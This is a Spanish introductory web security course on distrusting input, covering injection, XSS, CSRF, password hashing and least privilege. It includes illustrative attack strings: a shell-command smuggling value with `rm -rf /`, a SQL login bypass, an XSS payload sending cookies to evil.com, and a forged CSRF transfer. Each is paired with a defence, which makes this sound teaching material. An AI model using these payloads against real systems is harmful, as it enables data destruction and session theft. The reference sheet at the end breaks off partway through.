# Nunca confíes en la entrada

Curso exprés sobre los fundamentos de la seguridad web: casi toda vulnerabilidad empieza confiando en datos que vinieron de fuera. 21 conceptos — Trust Boundary, Injection, SQL Injection, XSS, CSRF, Hashing, Salt, Least Privilege, Defense in Depth, OWASP Top 10 y más — cada uno con su nombre en inglés, un diagrama, una ficha con un ejemplo y sus vínculos con el resto. Al final, una hoja de referencia de una página con todos los conceptos.

- **Author:** Fedor Chishchin
- **Level:** intro
- **Reading time:** ~30 minutos de lectura
- **Published:** 2026-06-13
- **Source:** https://fedorthinks.com/es/learn/web-security-express

---

## 1. La única regla

Antes de cualquier ataque concreto, hay un único principio que previene la mayoría de ellos. Interioriza esta idea y el resto del curso es solo eso, aplicado en distintos lugares.

### El mapa: 21 conceptos en seis grupos

> Un mapa de metro: primero ves las líneas enteras, luego recorres estación por estación.

El curso sigue seis grupos. Primero, **la única regla**: nunca confíes en la entrada. Luego tres ataques clásicos: **Injection** (la entrada se vuelve código en el servidor), **XSS** (la entrada se vuelve un script en el navegador) y **CSRF** (se engaña al navegador para que envíe una petición en tu nombre). Después, cómo guardar **secretos y contraseñas**. Y por último, cómo **limitar el daño** cuando algo sí se cuela, más la práctica.

_Diagram: Seis grupos de conceptos — los capítulos los siguen (el último grupo abarca los capítulos 6 y 7)._

### Cómo leer cada concepto

> Un pasaporte: los mismos campos para todos, así es fácil compararlos.

Cada concepto de abajo recibe el mismo trato: su **nombre en inglés** (el término que buscarás en la documentación), una imagen de la vida real, un **diagrama** y una **ficha**. Las fichas de ataques tienen los campos _qué es_, _cómo funciona_, _ejemplo_, _defensa_, _relaciones_. Las fichas de defensas y principios tienen _problema_, _idea_, _ejemplo_, _coste_, _relaciones_. Hay una regla principal, y la verás en cada ficha: **la entrada son datos, nunca código**.

### Untrusted Input — toda entrada externa la controla el atacante

> Un puesto de control fronterizo trata cada paquete que llega como potencialmente peligroso hasta inspeccionarlo — no deja pasar las cosas solo porque parezcan corrientes.

Todo lo que entra a tu sistema desde fuera — campos de formulario, URLs, cabeceras, archivos subidos, llamadas a la API — lo controla quien lo envió, y puede ser un atacante. Puede enviar cualquier cosa, no solo lo que tu formulario pretendía. Este concepto se llama **untrusted input** (entrada no confiable), y la regla es: **trata toda entrada externa como hostil hasta que la hayas validado.** Casi toda vulnerabilidad de este curso es, en el fondo, un lugar donde alguien confió en una entrada en la que no debía.

_Diagram: El atacante controla todas las vías de entrada: formularios, URLs, cabeceras, archivos, APIs._

#### Untrusted Input (entrada externa)

- **Problema:** El código supone, sin decirlo, que recibió justo lo que el formulario pretendía.
- **Idea:** Toda entrada externa es hostil hasta que la hayas comprobado.
- **Ejemplo:** El campo «nombre» recibe no un nombre sino SQL, una etiqueta `<script>` o una cadena de un megabyte.
- **Coste:** Necesitas comprobaciones en cada vía de entrada, no solo «en algún sitio».
- **Relaciones:** Dónde comprobar — **Trust Boundary**; cómo — **Input Validation** y **Output Escaping**.

### Trust Boundary — dónde viven las comprobaciones

> El muro alrededor de un edificio, con una sola puerta vigilada — dentro se confía, fuera no, y todo lo que cruza hacia adentro se revisa en esa línea.

Una **trust boundary** (frontera de confianza) es la línea entre el mundo exterior y tu sistema. Los datos que cruzan hacia adentro deben comprobarse _en_ esa frontera, porque una vez dentro, tu código tiende a tratarlos como seguros. El error clásico es validar solo en el cliente (el navegador) y suponer que basta — pero el atacante se salta el navegador por completo. **Las comprobaciones de seguridad reales ocurren en el servidor**, en la frontera que sí controlas.

_Diagram: Las comprobaciones del navegador se saltan fácil con un script. La comprobación real está en el servidor, en la trust boundary._

#### Trust Boundary (fuera vs dentro)

- **Problema:** La única comprobación está en el navegador, y el atacante envía la petición directamente, rodeándola.
- **Idea:** Traza la línea «fuera / dentro» y comprueba todo lo que la cruce, en el servidor.
- **Ejemplo:** El formulario JS no acepta un importe negativo, pero `curl` con `amount=-500` llega igual al servidor.
- **Coste:** Aun así quieres comprobaciones en el cliente por comodidad — eso es duplicación.
- **Relaciones:** **Input Validation** vive aquí; las comprobaciones del cliente son comodidad, no protección.

### Input Validation y Output Escaping — validar la entrada, escapar la salida

> Un portero comprueba los documentos en la puerta (quién entra), y un traductor se asegura de que tus palabras no puedan malinterpretarse como una orden en la siguiente sala (cómo salen las cosas). Dos tareas distintas.

Dos hábitos frenan la mayoría de los ataques. **Input validation**: rechaza los datos que no tengan la forma esperada — tipo equivocado, demasiado largos, mal formados. **Output escaping**: cuando pones datos en otro contexto — una consulta a la base de datos, una página HTML, un comando de shell — neutraliza todo lo que pueda leerse como código allí. Casi todos los ataques de abajo son entrada no confiable que se cuela en un lugar donde se interpreta como instrucciones en vez de como datos.

_Diagram: A la entrada — validación (forma incorrecta → rechazado). A la salida — escapado para cada contexto: SQL, HTML, shell._

#### Input Validation (validar en la frontera)

- **Problema:** Datos de cualquier forma y longitud entran al sistema.
- **Idea:** Describe lo que esperas (tipo, longitud, formato) y rechaza todo lo demás en la frontera.
- **Ejemplo:** `age` es un entero de 0 a 150; `email` cumple el formato y tiene como máximo 254 caracteres.
- **Coste:** La validación no hace la entrada segura en todas partes — aún necesitas **Output Escaping** a la salida.
- **Relaciones:** Funciona en la **Trust Boundary**; va en pareja con **Output Escaping** (capítulo 3).

> **La pregunta de encuadre:** «¿Por dónde entran datos externos a mi sistema, y los trato como hostiles — validados en la frontera y escapados dondequiera que se usen — o confío en ellos sin darme cuenta?»

> Cada fragmento de entrada externa lo controla el atacante. Valídalo en la frontera, en el servidor, y escápalo dondequiera que se use. Esa única regla previene la mayoría de los ataques.

## 2. Injection

La clase de ataque más dañina es también la más sencilla de entender: la entrada no confiable se trata como código. El caso de manual es la SQL injection, y muestra todo el patrón.

### Injection — la entrada se vuelve código

> Un formulario que pide tu nombre, donde alguien escribe una instrucción en su lugar — y el empleado, al leer la línea entera en voz alta, ejecuta la instrucción sin querer.

Hay **injection** cuando la entrada no confiable se mezcla con un comando o una consulta y se ejecuta como parte de ellos. El sistema quería usar tu entrada como _datos_, pero la entrada se fabricó para leerse como _código_. Es la misma falla de raíz en SQL, en comandos de shell y más: la frontera entre «la instrucción» y «los datos del usuario» nunca se hizo cumplir, así que el atacante aportó instrucciones.

_Diagram: Tu instrucción y la entrada se pegan en una sola cadena — el intérprete ya no ve dónde acaba el código y dónde empiezan los datos._

#### Injection (inyección de código)

- **Qué es:** La entrada no confiable se ejecuta como parte de un comando o consulta.
- **Cómo funciona:** El código pega la entrada en una cadena, y el intérprete (SQL, shell…) ejecuta todo.
- **Ejemplo:** `os.system("ping " + host)`, y `host` llega como `8.8.8.8; rm -rf /`.
- **Defensa:** Pasa la entrada separada del código — como parámetros, nunca pegándola.
- **Relaciones:** Un caso concreto es **SQL Injection**; la misma idea en el navegador es **XSS**.

### SQL Injection — el caso clásico

> Una papeleta de petición de biblioteca donde, en el campo del título, alguien escribe «...y además abre todas las puertas» — y el sistema automatizado obedientemente hace ambas cosas.

En la **SQL injection**, un atacante escribe sintaxis de base de datos en un campo normal. Si tu código arma una consulta pegando la entrada en una cadena, esa entrada pasa a ser parte de la consulta — y le permite leer datos de otros usuarios, saltarse un login o borrar tablas. Lleva décadas siendo una de las vulnerabilidades web más comunes y graves, y viene enteramente de armar consultas por **concatenación de cadenas** con entrada no confiable.

_Diagram: La entrada ' OR '1'='1 convierte la condición en «siempre verdadera» — la base de datos devuelve la fila de todos los usuarios._

#### SQL Injection (SQLi)

- **Qué es:** Injection en una consulta a la base de datos.
- **Cómo funciona:** La consulta se arma como `"... WHERE name = '" + input + "'"`, y la entrada cambia su significado.
- **Ejemplo:** Escribir `' OR '1'='1` en un formulario de login — la condición es siempre verdadera, la comprobación de la contraseña se salta.
- **Defensa:** **Parameterized Query** — siempre, sin excepciones.
- **Relaciones:** El tipo más conocido de **Injection**; figura en el **OWASP Top 10** bajo Injection.

### Parameterized Query — la solución

> Un formulario con casillas cerradas y etiquetadas: lo que escribas en la casilla «nombre» se trata solo como un nombre, nunca como parte de las instrucciones del formulario, pongas lo que pongas.

La cura es una **parameterized query** (consulta parametrizada, o prepared statement). Escribes la consulta con marcadores de posición y pasas la entrada del usuario por separado. La base de datos primero analiza la estructura de la consulta y solo después rellena los datos en los huecos — así la entrada siempre sigue siendo dato, nunca SQL. La entrada puede ser la cadena más retorcida imaginable y aun así no puede cambiar la estructura de la consulta. **Nunca armes una consulta concatenando entrada en una cadena** — usa parámetros, siempre, y la SQL injection simplemente no puede ocurrir.

_Diagram: La consulta y los datos viajan por separado: la entrada solo cae en el hueco $1 y no puede cambiar la forma de la consulta._

#### Parameterized Query (prepared statement)

- **Problema:** Pegar cadenas convierte la entrada en parte del SQL.
- **Idea:** Primero la forma de la consulta con marcadores, luego los datos — por separado.
- **Ejemplo:** `db.query("SELECT * FROM users WHERE name = $1", [input])`
- **Coste:** Casi ninguno. Ojo: los nombres de tablas y columnas no pueden ser parámetros — tómalos de una lista permitida.
- **Relaciones:** Cura la **SQL Injection**; los ORM y los query builders lo hacen por ti — si no los esquivas.

> **La pregunta de injection:** «¿Pego alguna vez entrada no confiable directamente en una consulta o comando — o cada pieza de entrada se pasa como un parámetro que solo puede ser dato?»

> Injection es entrada no confiable ejecutada como código. La SQL injection es el caso clásico, y las consultas parametrizadas — la entrada pasada como dato, nunca concatenada — son la cura.

## 3. Cross-site scripting

Si la injection es entrada que se vuelve código en el servidor, el cross-site scripting es entrada que se vuelve código en el navegador. Convierte tu propia página en un arma contra tus usuarios.

### XSS — la entrada se vuelve un script en el navegador

> Un tablón de anuncios del barrio donde alguien clava una nota trucada para que a quien la lea le vacíen los bolsillos sin que se dé cuenta — el peligro lo entrega el propio tablón de confianza.

El **cross-site scripting** (XSS) ocurre cuando un atacante consigue que su JavaScript se ejecute en el navegador de otro usuario, en tu sitio. Si tomas entrada del usuario — un comentario, un nombre, un perfil — y la pones directamente en una página, un atacante puede enviar un `<script>` en lugar de texto, y se ejecuta para todos los que vean esa página. Su código actúa ahora con la sesión de tu usuario: roba cookies, se hace pasar por él, desfigura la página.

_Diagram: El atacante deja un comentario con un script, tu sitio se lo muestra a otros, y el script en sus navegadores envía las cookies al atacante._

#### XSS (Cross-Site Scripting)

- **Qué es:** El JavaScript de otro se ejecuta en el navegador de tu usuario, en tu sitio.
- **Cómo funciona:** La entrada se pone en la página como HTML, sin escapar.
- **Ejemplo:** El comentario `<script>fetch('//evil.com?c='+document.cookie)</script>` roba la sesión de cada lector.
- **Defensa:** **Output Escaping** + **Content Security Policy**.
- **Relaciones:** La misma idea que **Injection**, solo que el código se ejecuta en el navegador.

### Por qué el XSS es tan peligroso — se ejecuta con la confianza de tu sitio

> Un impostor con un uniforme de confianza: la gente obedece porque el uniforme — el dominio de tu sitio — es lo que le inspira confianza, no la persona que lo lleva.

El script malicioso se ejecuta _como tu sitio_, con toda la confianza que el usuario da a tu dominio. Puede leer lo que el usuario ve, actuar como él y enviar sus datos al atacante. El navegador no tiene forma de saber que el script no era tuyo — vino de tu página. Por eso «es solo un campo de comentarios» son las últimas palabras famosas: **cualquier punto donde la entrada del usuario llega a la página es un posible agujero de XSS**.

_Diagram: Dentro de un mismo sitio, tu script y el inyectado tienen los mismos poderes: cookies, contenido de la página, llamadas a la API como el usuario._

### Output Escaping y Content Security Policy — defenderse del XSS

> Un traductor que muestra las palabras de cada invitado como texto plano en la pantalla — así, aunque alguien grite una orden, aparece como palabras citadas inofensivas, no como una orden que alguien cumpla.

La solución central es el **output escaping**: cuando pones datos del usuario en HTML, convierte caracteres como `<` y `>` en texto inofensivo para que se muestren como contenido y nunca se ejecuten como marcado. Los frameworks modernos lo hacen por defecto, y por eso debes dejar que lo hagan. Añade encima una **Content Security Policy (CSP)** — una regla del navegador que restringe qué scripts pueden ejecutarse — como segunda línea de defensa. Trata como no confiable todo lo que llega a la página y neutralízalo al salir.

_Diagram: Izquierda: el escapado convierte la etiqueta en texto plano. Derecha: la CSP permite solo scripts de tu propio sitio._

#### Output Escaping (output encoding)

- **Problema:** La entrada en la página la lee el navegador como marcado y código.
- **Idea:** Antes de la salida, convierte los caracteres peligrosos en texto seguro — según las reglas del contexto.
- **Ejemplo:** `<script>` pasa a `&lt;script&gt;` y simplemente se muestra en pantalla.
- **Coste:** Hay que escapar por contexto (HTML, atributo, URL, JS); el «HTML en bruto» que esquiva el framework rompe la protección.
- **Relaciones:** La defensa principal contra el **XSS**; la segunda mitad de «valida la entrada, escapa la salida».

#### Content Security Policy (CSP)

- **Problema:** Se olvidó escapar en algún sitio — y se ejecutó un script ajeno.
- **Idea:** Una cabecera con la que el sitio dice al navegador qué scripts están permitidos.
- **Ejemplo:** `Content-Security-Policy: script-src 'self'` — bloquea los scripts en línea y los de otros dominios.
- **Coste:** Requiere ajuste y pruebas: una política estricta puede romper widgets de terceros.
- **Relaciones:** La segunda línea contra el **XSS** — un ejemplo de **Defense in Depth**.

> **La pregunta del XSS:** «En cada lugar donde la entrada del usuario llega a la página, ¿está escapada para que se muestre como texto — o una entrada manipulada podría ejecutarse como script en los navegadores de mis usuarios?»

> El XSS es entrada no confiable ejecutándose como script en los navegadores de tus usuarios, con la confianza de tu sitio. Escapa todo lo que llegue a la página y añade una Content Security Policy.

## 4. Cross-site request forgery

El siguiente ataque no inyecta nada — abusa de la costumbre del propio navegador de adjuntar tus credenciales a cada petición, engañándolo para que actúe en tu nombre sin que tú lo quieras.

### CSRF — se engaña a tu navegador para que actúe

> Alguien falsifica tu firma en un formulario y lo envía desde tu dirección — el banco ve una petición válida y firmada por ti y la procesa, sin saber que no la escribiste tú.

El **cross-site request forgery** (CSRF) aprovecha que los navegadores adjuntan automáticamente tus cookies — incluida tu sesión iniciada — a cualquier petición a un sitio. Un atacante pone una petición oculta a tu banco en su propia página maliciosa; cuando la visitas con la sesión del banco abierta, tu navegador envía la petición _con tu sesión adjunta_, y el banco cree que lo querías. Te hacen actuar sin que lo hayas elegido jamás.

_Diagram: Iniciaste sesión en el banco y luego abriste evil.com — su formulario oculto envía una transferencia al banco, y el navegador adjunta tu cookie por sí solo._

#### CSRF (Cross-Site Request Forgery)

- **Qué es:** Otro sitio hace que tu navegador envíe una petición con tu sesión.
- **Cómo funciona:** El navegador adjunta las cookies a las peticiones a un sitio, sin importar de dónde vino la petición.
- **Ejemplo:** En evil.com, un formulario oculto con `POST bank.com/transfer?to=attacker` se envía solo, automáticamente.
- **Defensa:** **CSRF Token** + **SameSite Cookie**.
- **Relaciones:** Un caso concreto del **Confused Deputy**.

### Confused Deputy — el problema del delegado confundido

> Un ayudante de confianza con las llaves, engañado por una nota falsa para que abra la caja fuerte — el ayudante tenía la autoridad y lo engañaron para usarla en favor de otro.

El CSRF es un ataque de **confused deputy** (delegado confundido): tu navegador tiene autoridad real (tu sesión) y lo engañan para que la ejerza en favor del atacante. El servidor no puede notar la diferencia, porque la petición se ve exactamente como una legítima — mismas cookies, mismo usuario. La falla no son credenciales robadas; es que una petición válida la disparó alguien que no eras tú, y **nada demostró tu intención**.

_Diagram: El atacante no tiene derechos — engaña a quien sí los tiene (el navegador), y el banco ve una cookie válida._

#### Confused Deputy (autoridad mal usada)

- **Qué es:** Un programa con autoridad al que engañan para usarla en la petición de otro.
- **Cómo funciona:** El servidor solo comprueba «quién» (la cookie), no «si lo quería».
- **Ejemplo:** Tu navegador, con tu sesión, envía un formulario plantado por evil.com.
- **Defensa:** Exige una prueba de intención, no solo la presencia de autoridad.
- **Relaciones:** El **CSRF** es el ejemplo más conocido; se cura con un **CSRF Token** y **SameSite**.

### CSRF Token y SameSite Cookie — demostrar la intención

> Un banco que exige un código de un solo uso, impreso solo en tu propio extracto, con cada transferencia — una petición falsificada desde otro sitio no puede incluirlo, así que se rechaza.

La solución es exigir una prueba de que _tu_ página hizo la petición. Un **CSRF token** es un valor secreto que tu sitio incrusta en sus propios formularios y comprueba al enviarlos; la página de un atacante no puede conocerlo, así que las peticiones falsificadas fallan. El complemento moderno es el atributo de cookie **SameSite**, que le dice al navegador que no envíe tu cookie de sesión en peticiones que vienen de otros sitios. Juntos garantizan que una acción sensible vino de tu sitio, con tu intención.

_Diagram: Un formulario de tu página lleva el token y pasa; uno de evil.com no lo conoce, y el navegador no adjunta la cookie — 403._

#### CSRF Token (anti-CSRF token)

- **Problema:** El servidor no distingue tu formulario de uno falsificado.
- **Idea:** Un secreto en cada formulario de tu sitio; el servidor acepta la petición solo si el secreto coincide.
- **Ejemplo:** Un campo oculto `<input name="csrf" value="a8f3…">`, comprobado contra la sesión.
- **Coste:** Hay que añadirlo a cada formulario y petición que cambie algo.
- **Relaciones:** Defiende del **CSRF**; los frameworks suelen hacerlo por ti. Va en pareja con **SameSite Cookie**.

#### SameSite Cookie (atributo de cookie)

- **Problema:** El navegador adjunta las cookies a las peticiones de cualquier sitio.
- **Idea:** Marca la cookie de sesión para que el navegador no la envíe en peticiones entre sitios.
- **Ejemplo:** `Set-Cookie: session=…; SameSite=Lax; Secure; HttpOnly`
- **Coste:** Un complemento, no un sustituto del token: depende del navegador y de la configuración.
- **Relaciones:** Junto con un **CSRF Token** cierra el paso al **CSRF** — otra vez, **Defense in Depth**.

> **La pregunta del CSRF:** «En las acciones que cambian algo, ¿demuestro que la petición vino de mi propio sitio con la intención del usuario — con un token y cookies SameSite — y no solo confío en la sesión adjunta?»

> El CSRF engaña a tu navegador para que dispare una petición con tu sesión adjunta. Demuestra la intención con un CSRF token y cookies SameSite, para que las peticiones falsificadas entre sitios se rechacen.

## 5. Guardar secretos y contraseñas

Algunos datos son tan sensibles que la forma de guardarlos es en sí una decisión de seguridad. Las contraseñas son el ejemplo clásico, y revelan la diferencia entre dos palabras que la gente confunde sin parar.

### Plaintext Passwords — nunca guardes contraseñas en texto plano

> Guardar la lista de las llaves de casa de todos en un cajón sin cerradura en recepción — un solo robo y todas las casas quedan abiertas. La comodidad es la catástrofe.

Si guardas las contraseñas como texto legible (**plaintext**), cualquiera que consiga tu base de datos — por una brecha, una fuga, alguien de dentro — tiene al instante la contraseña de todos los usuarios. Y como la gente reutiliza contraseñas, también has comprometido sus otras cuentas. Guardar una contraseña en texto plano es de los errores más graves y básicos de la seguridad web. El dato es demasiado peligroso para guardarlo en una forma que se pueda leer.

_Diagram: Contraseñas en texto plano: una fuga y todas son legibles — junto con otras cuentas donde la gente las reutilizó._

### Hashing vs Encryption — el hashing es de un solo sentido, el cifrado de dos

> Una trituradora de papel frente a una caja cerrada con llave: la caja se puede abrir y recuperar el original, pero la trituradora convierte el papel en confeti que nunca podrás recomponer — aunque el mismo papel siempre se tritura igual.

Esta es la distinción que hay que clavar. El **encryption** (cifrado) es reversible: con la clave, recuperas los datos originales a partir de los revueltos. Úsalo para datos que debes volver a leer, como una clave de API guardada. El **hashing** es de un solo sentido: convierte la entrada en una huella de longitud fija que no se puede revertir hasta la entrada, pero la misma entrada siempre produce la misma huella. Resuelven problemas distintos, y confundirlos es un error clásico.

_Diagram: Cifrado: con la clave recuperas el original. Hashing: solo puedes comparar huellas — no hay vuelta atrás._

#### Hashing vs Encryption (un sentido vs dos sentidos)

- **Cifrado:** De dos sentidos: con la clave puedes volver a leerlo.
- **Hashing:** De un sentido: la huella no se puede revertir, solo comparar.
- **Ejemplo:** La clave de API de un socio — cífrala (la necesitas en las peticiones). Una contraseña — hashéala (solo necesitas comprobarla).
- **Ojo:** Las «contraseñas cifradas» son un error: roban la clave y puedes leer todas las contraseñas.
- **Relaciones:** Para contraseñas — hashing con una **Salt** y un algoritmo lento.

### Salt y un hash lento — guardar contraseñas como se debe

> Comprobar un sello de lacre: no necesitas la carta original para verificarlo — solo vuelves a sellar y comparas las marcas. Confirmas la coincidencia sin guardar nunca el secreto en sí.

Haces **hash** de las contraseñas porque en realidad nunca necesitas recuperarlas — solo necesitas comprobarlas. Guardas el hash; al iniciar sesión, haces el hash de lo que escribieron y comparas. Una brecha filtra huellas, no contraseñas. Añade una **salt** — un valor aleatorio único por contraseña — para que contraseñas idénticas den hashes distintos y las tablas de ataque precalculadas fallen. Y usa un **hash lento hecho a propósito para contraseñas** (como **bcrypt** o **Argon2**), nunca uno rápido de uso general, para que adivinar sea caro.

_Diagram: Ana y Bob tienen la misma contraseña pero distinta salt — así que distinto hash. Un bcrypt/Argon2 lento encarece adivinar._

#### Salted Password Hashing (salt + bcrypt / Argon2)

- **Problema:** Un hash rápido y sin salt: las contraseñas idénticas se ven a simple vista, y adivinar y las tablas precalculadas funcionan.
- **Idea:** Una salt única por contraseña + un algoritmo de contraseñas deliberadamente lento.
- **Ejemplo:** Registro: `hash = argon2(password, salt)`. Login: haz el hash de lo escrito con la misma salt y compara.
- **Coste:** El login es un poco más lento — ese es el objetivo: para el atacante es mucho más lento.
- **Relaciones:** Una aplicación del **Hashing**; limita el daño de una brecha, como **Defense in Depth**.

> **La pregunta del almacenamiento:** «Para cada valor sensible, ¿necesito volver a leerlo (cifrar) o solo verificarlo (hash) — y las contraseñas llevan hash con salt usando un algoritmo lento hecho para eso?»

> Nunca guardes contraseñas en texto plano. El cifrado es reversible para datos que debes volver a leer; el hashing es de un solo sentido para datos que solo verificas — haz hash de las contraseñas, con salt y con un algoritmo lento.

## 6. Least privilege y profundidad

Más allá de los ataques concretos hay principios que limitan el daño cuando algo se cuela — porque en seguridad se asume que, tarde o temprano, algo se colará.

### Least Privilege — el mínimo acceso para el trabajo

> Una tarjeta de hotel que abre solo tu habitación y el gimnasio — no todas las puertas del edificio. Si se pierde, el daño queda contenido a lo que podía alcanzar.

**Least privilege** (mínimo privilegio) significa que cada usuario, servicio y credencial recibe solo el acceso mínimo que su trabajo requiere — nada más. La cuenta de base de datos que usa tu app web no debería poder borrar tablas si solo lee y escribe filas. Así, cuando algo se compromete — y asume que pasará — el **blast radius** (radio de la explosión) es pequeño, acotado por lo que esa pieza tenía permitido hacer. Los permisos demasiado amplios convierten una brecha pequeña en una total.

_Diagram: La cuenta de la app solo puede leer y escribir filas — aunque la app esté comprometida, nadie puede borrar tablas ni llegar a otras bases de datos._

#### Least Privilege (principio de mínimo privilegio)

- **Problema:** Una parte comprometida accede a todo.
- **Idea:** Da a cada parte los derechos mínimos que su trabajo necesita.
- **Ejemplo:** El usuario de BD de la app: `SELECT, INSERT, UPDATE` en sus propias tablas, sin `DROP`, sin superusuario.
- **Coste:** Los permisos exigen reflexión y mantenimiento; «ponle admin y ya» siempre es más fácil.
- **Relaciones:** Una capa de **Defense in Depth**; en **OWASP** es Broken Access Control.

### Defense in Depth — capas, no un solo muro

> Un castillo con foso, muralla, puerta y guardias — no se confía en que ninguna barrera sea perfecta, así que cada una atrapa lo que la anterior dejó pasar.

**Defense in depth** (defensa en profundidad) significa apilar protecciones independientes para que un fallo no sea fatal. Valida la entrada _y_ usa consultas parametrizadas _y_ ejecuta con mínimo privilegio _y_ escapa la salida. Cualquier control puede fallar o esquivarse; juntos, hacen que un compromiso total exija vencerlos todos a la vez. La seguridad no es un muro perfecto — son **controles corrientes superpuestos**, cada uno suponiendo que los demás podrían fallar.

_Diagram: Un ataque tiene que atravesar todas las capas seguidas: validación, parámetros, escapado, mínimo privilegio._

#### Defense in Depth (seguridad por capas)

- **Problema:** Una sola defensa fallará algún día — y entonces todo queda abierto.
- **Idea:** Varias capas independientes, cada una atrapando lo que otra dejó pasar.
- **Ejemplo:** Se olvidó escapar en una plantilla — pero la CSP impide que el script se ejecute.
- **Coste:** Más ajustes y comprobaciones; parte del trabajo se «duplica» a propósito.
- **Relaciones:** Une **Input Validation**, **Parameterized Query**, **Output Escaping**, **CSP**, **Least Privilege**.

### Information Leakage — no filtres pistas en los errores

> Una puerta cerrada que, al sacudirla, anuncia servicial «llave equivocada — la buena es de latón y está un poco doblada» — diciéndole al intruso exactamente cómo entrar.

Los errores detallados y las respuestas que cuentan demasiado le dan un mapa al atacante. Esto se llama **information leakage** (fuga de información). Un login que dice «contraseña incorrecta» (frente a «no existe ese usuario») confirma qué cuentas existen; un stack trace expone tu framework, versiones y la estructura de tus consultas. Muestra a los usuarios un mensaje genérico, registra el detalle en privado y nunca devuelvas más datos de los que el cliente necesita. Fallar en silencio no es solo orden: le niega al atacante el reconocimiento que hace fácil el siguiente paso.

_Diagram: A la izquierda, las respuestas revelan qué cuentas existen y qué hay dentro. A la derecha — un mensaje genérico para el usuario, el detalle en logs privados._

#### Information Leakage (information disclosure)

- **Qué es:** Los errores y las respuestas le cuentan al atacante cómo está construido el sistema.
- **Ejemplo:** «No existe ese usuario» vs «contraseña incorrecta»; un stack trace con `db.py:42` y la versión de la base de datos.
- **Defensa:** Un mensaje genérico («correo o contraseña no válidos»), el detalle a los logs, solo los campos necesarios en la respuesta.
- **Ojo:** El modo debug olvidado encendido en producción.
- **Relaciones:** En el **OWASP Top 10** — Security Misconfiguration; otra capa más de **Defense in Depth**.

> **La pregunta de la contención:** «Si este único componente se viera comprometido, ¿hasta dónde podría llegar el atacante — y lo limito con mínimo privilegio, defensas por capas y errores que no dan pistas?»

> Asume que algo se colará. El mínimo privilegio acota el daño, la defensa en profundidad hace que ningún fallo aislado sea fatal, y los errores silenciosos le niegan el mapa al atacante.

## 7. Usarlo bien + hoja de referencia

La seguridad es una práctica entretejida en cómo construyes, no una función que se pega al final. Los hábitos son pocos, y la mayoría son la única regla aplicada con disciplina.

### Secure Defaults y Patching — apóyate en el framework y mantenlo al día

> No forjas tus propias cerraduras — instalas otras probadas y las cambias cuando se anuncia un fallo. Hacerlas tú mismo es la forma de acabar con una cerradura peor.

La mayoría de los ataques clásicos ya los resuelven frameworks y librerías maduros: escapan la salida, parametrizan las consultas y gestionan los tokens CSRF por ti — si los usas como se pensó en vez de esquivarlos. Eso son los **secure defaults** (valores seguros por defecto). Y como constantemente se encuentran vulnerabilidades en las dependencias, **mantenlas actualizadas (patching)**; una librería sin parchear es una de las vías de entrada más comunes. No inventes tu propia criptografía ni tu propio escapado — usa las herramientas probadas y mantenlas al día.

#### Secure Defaults + Patching (protección del framework y actualizaciones)

- **Problema:** Criptografía y escapado caseros con agujeros; librerías viejas con vulnerabilidades conocidas.
- **Idea:** Usa la protección integrada del framework como se pensó, y actualiza las dependencias con regularidad.
- **Ejemplo:** El motor de plantillas escapa solo; el ORM parametriza; un bot como Dependabot propone actualizaciones.
- **Coste:** Las actualizaciones necesitan pruebas; esquivar el framework (HTML/SQL «en bruto») rompe la protección.
- **Relaciones:** Te da **Output Escaping**, **Parameterized Query**, **CSRF Token** «gratis».

### OWASP Top 10 — el mapa de las vulnerabilidades más comunes

> Existe una lista de comprobación previa al vuelo porque los mismos pocos fallos causan la mayoría de los accidentes — los revisas siempre en vez de redescubrirlos en el aire.

No tienes que imaginar cada amenaza. El **OWASP Top 10** es la lista de la industria con las vulnerabilidades web más comunes y graves — injection, broken access control y el resto — y sirve también como lista de comprobación. Recorre tu aplicación contra ella y atraparás las categorías que causan la abrumadora mayoría de las brechas reales. Usar un mapa conocido es mejor que esperar haber pensado en todo por tu cuenta.

_Diagram: Casi todo en este curso encaja en categorías del OWASP Top 10._

#### OWASP Top 10 (las vulnerabilidades web más comunes)

- **Qué es:** Un ranking de la industria de las clases de vulnerabilidades web más comunes y peligrosas.
- **Cómo usarlo:** Como lista de comprobación: recorre cada categoría contra tu propia aplicación.
- **Ejemplo:** La categoría Injection — comprueba que cada consulta esté parametrizada y la salida escapada.
- **Ojo:** Es un mínimo, no una garantía total de seguridad.
- **Relaciones:** Une todo el curso, desde **Injection** hasta **Least Privilege**.

### Cómo encaja todo

> Una casa se protege con una cerradura, una alarma y una caja fuerte a la vez — no con «una sola medida correcta».

En el centro hay una regla — **nunca confíes en la entrada**, comprobada en la trust boundary. De ella crecen tres defensas contra tres ataques: **consultas parametrizadas** contra Injection, **escapado y CSP** contra XSS, **token y SameSite** contra CSRF. Y para cuando algo sí se cuela: **hashing con salt** (una fuga no entrega las contraseñas), **least privilege** (una parte comprometida no entrega todo) y **defense in depth** (una capa fallida no es fatal). Por encima de todo — el **OWASP Top 10** como lista de comprobación.

_Diagram: Una regla en el centro, tres defensas contra tres ataques, tres principios para cuando algo se cuela, y el OWASP Top 10 como lista de comprobación general._

#### Antes de lanzar una función web

- **¿Por dónde entra la entrada externa**, y se valida en la frontera, en el servidor?
- **Consultas** — ¿parametrizadas, nunca armadas concatenando entrada?
- **Salida a la página** — ¿escapada, para que la entrada del usuario no pueda ejecutarse como script?
- **Acciones que cambian estado** — ¿protegidas contra CSRF con tokens y SameSite?
- **Datos sensibles** — ¿contraseñas con hash y salt, secretos nunca en texto plano?
- **Least privilege** — ¿cada parte tiene solo el acceso que necesita?

#### Señales de que construyes con seguridad

- Tratas **toda entrada externa como hostil**, comprobada en el servidor, en la frontera.
- Las consultas están **parametrizadas** y la salida a la página está **escapada** — por defecto, mediante el framework.
- Las peticiones que cambian estado llevan un **CSRF token**, y las cookies son **SameSite**.
- Las contraseñas llevan **hash y salt**; nada sensible se guarda en texto plano.
- Cada parte funciona con **mínimo privilegio**, las dependencias están **parcheadas** y te revisas contra el **OWASP Top 10**.

## Hoja de referencia: los 21 conceptos

### La única regla

- **Untrusted Input** (entrada externa): Todo lo de fuera lo controla el atacante. Hostil hasta que se compruebe.
- **Trust Boundary** (fuera vs dentro): La línea «fuera / dentro». Las comprobaciones viven en ella, en el servidor, no en el navegador.
- **Input Validation** (validar en la frontera): Rechaza todo lo de forma equivocada: tipo, longitud, formato.

### Injection

- **Injection** (inyección de código): Entrada pegada en un comando y ejecutada como código.
- **SQL Injection** (SQLi): Injection en una consulta a la base de datos: `' OR '1'='1` y la base de datos lo entrega todo.
- **Parameterized Query** (prepared statement): La consulta y los datos viajan por separado — la entrada siempre sigue siendo dato.

### XSS

- **XSS** (Cross-Site Scripting): Un script ajeno en el navegador del usuario, con la confianza de tu sitio.
